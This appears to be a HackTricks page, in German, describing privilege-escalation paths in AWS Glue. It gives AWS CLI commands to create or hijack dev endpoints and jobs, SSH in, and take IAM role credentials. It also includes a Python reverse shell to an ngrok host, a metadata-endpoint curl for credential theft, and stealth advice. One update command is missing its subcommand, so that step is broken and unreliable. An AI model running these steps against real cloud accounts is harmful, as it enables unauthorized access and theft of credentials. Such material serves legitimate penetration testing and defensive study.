AWS - Glue Privesc

Unterstützen Sie HackTricks

glue

iam:PassRole, glue:CreateDevEndpoint, (glue:GetDevEndpoint | glue:GetDevEndpoints)

Benutzer mit diesen Berechtigungen können einen neuen AWS Glue-Entwicklungspunkt einrichten, indem sie eine vorhandene Dienstrolle zuweisen, die von Glue mit spezifischen Berechtigungen übernommen werden kann.

Nach der Einrichtung kann der Angreifer per SSH auf die Instanz des Endpunkts zugreifen und die IAM-Anmeldeinformationen der zugewiesenen Rolle stehlen:

# Create endpoint
aws glue create-dev-endpoint --endpoint-name <endpoint-name> \
--role-arn <arn-role> \
--public-key file:///ssh/key.pub

# Get the public address of the instance
## You could also use get-dev-endpoints
aws glue get-dev-endpoint --endpoint-name privesctest

# SSH with the glue user
ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com

Für Stealth-Zwecke wird empfohlen, die IAM-Anmeldeinformationen von innerhalb der Glue-virtuellen Maschine zu verwenden.

Potenzielle Auswirkungen: Privilegieneskalation auf die angegebene Glue-Dienstrolle.

glue:UpdateDevEndpoint, (glue:GetDevEndpoint | glue:GetDevEndpoints)

Benutzer mit dieser Berechtigung können den SSH-Schlüssel eines bestehenden Glue-Entwicklung Endpunkts ändern, was den SSH-Zugriff darauf ermöglicht. Dies erlaubt dem Angreifer, Befehle mit den Rechten der angehängten Rolle des Endpunkts auszuführen:

# Change public key to connect
aws glue --endpoint-name target_endpoint \
--public-key file:///ssh/key.pub

# Get the public address of the instance
## You could also use get-dev-endpoints
aws glue get-dev-endpoint --endpoint-name privesctest

# SSH with the glue user
ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com

Potenzielle Auswirkungen: Privesc auf die verwendete Glue-Service-Rolle.

iam:PassRole, (glue:CreateJob | glue:UpdateJob), (glue:StartJobRun | glue:CreateTrigger)

Benutzer mit iam:PassRole in Kombination mit entweder glue:CreateJob oder glue:UpdateJob, und entweder glue:StartJobRun oder glue:CreateTrigger können einen AWS Glue-Job erstellen oder aktualisieren, indem sie ein beliebiges Glue-Service-Konto anhängen und die Ausführung des Jobs initiieren. Die Fähigkeiten des Jobs umfassen das Ausführen beliebigen Python-Codes, der ausgenutzt werden kann, um eine Reverse-Shell einzurichten. Diese Reverse-Shell kann dann verwendet werden, um die IAM-Anmeldeinformationen der Rolle, die an den Glue-Job angehängt ist, zu exfiltrieren, was zu potenziellem unbefugtem Zugriff oder Aktionen basierend auf den Berechtigungen dieser Rolle führen kann:

# Content of the python script saved in s3:
#import socket,subprocess,os
#s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
#s.connect(("2.tcp.ngrok.io",11216))
#os.dup2(s.fileno(),0)
#os.dup2(s.fileno(),1)
#os.dup2(s.fileno(),2)
#p=subprocess.call(["/bin/sh","-i"])
#To get the IAM Role creds run: curl http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy


# A Glue role with admin access was created
aws glue create-job \
--name privesctest \
--role arn:aws:iam::93424712358:role/GlueAdmin \
--command '{"Name":"pythonshell", "PythonVersion": "3", "ScriptLocation":"s3://airflow2123/rev.py"}'

# You can directly start the job
aws glue start-job-run --job-name privesctest
# Or you can create a trigger to start it
aws glue create-trigger --name triggerprivesc --type SCHEDULED \
--actions '[{"JobName": "privesctest"}]' --start-on-creation \
--schedule "0/5 * * * * *"  #Every 5mins, feel free to change

Potenzielle Auswirkungen: Privesc auf die angegebene Glue-Service-Rolle.

glue:UpdateJob

Nur mit der Aktualisierungsberechtigung könnte ein Angreifer die IAM-Anmeldeinformationen der bereits angehängten Rolle stehlen.

Potenzielle Auswirkungen: Privesc auf die angehängte Glue-Service-Rolle.

Referenzen

Unterstütze HackTricks

Last updated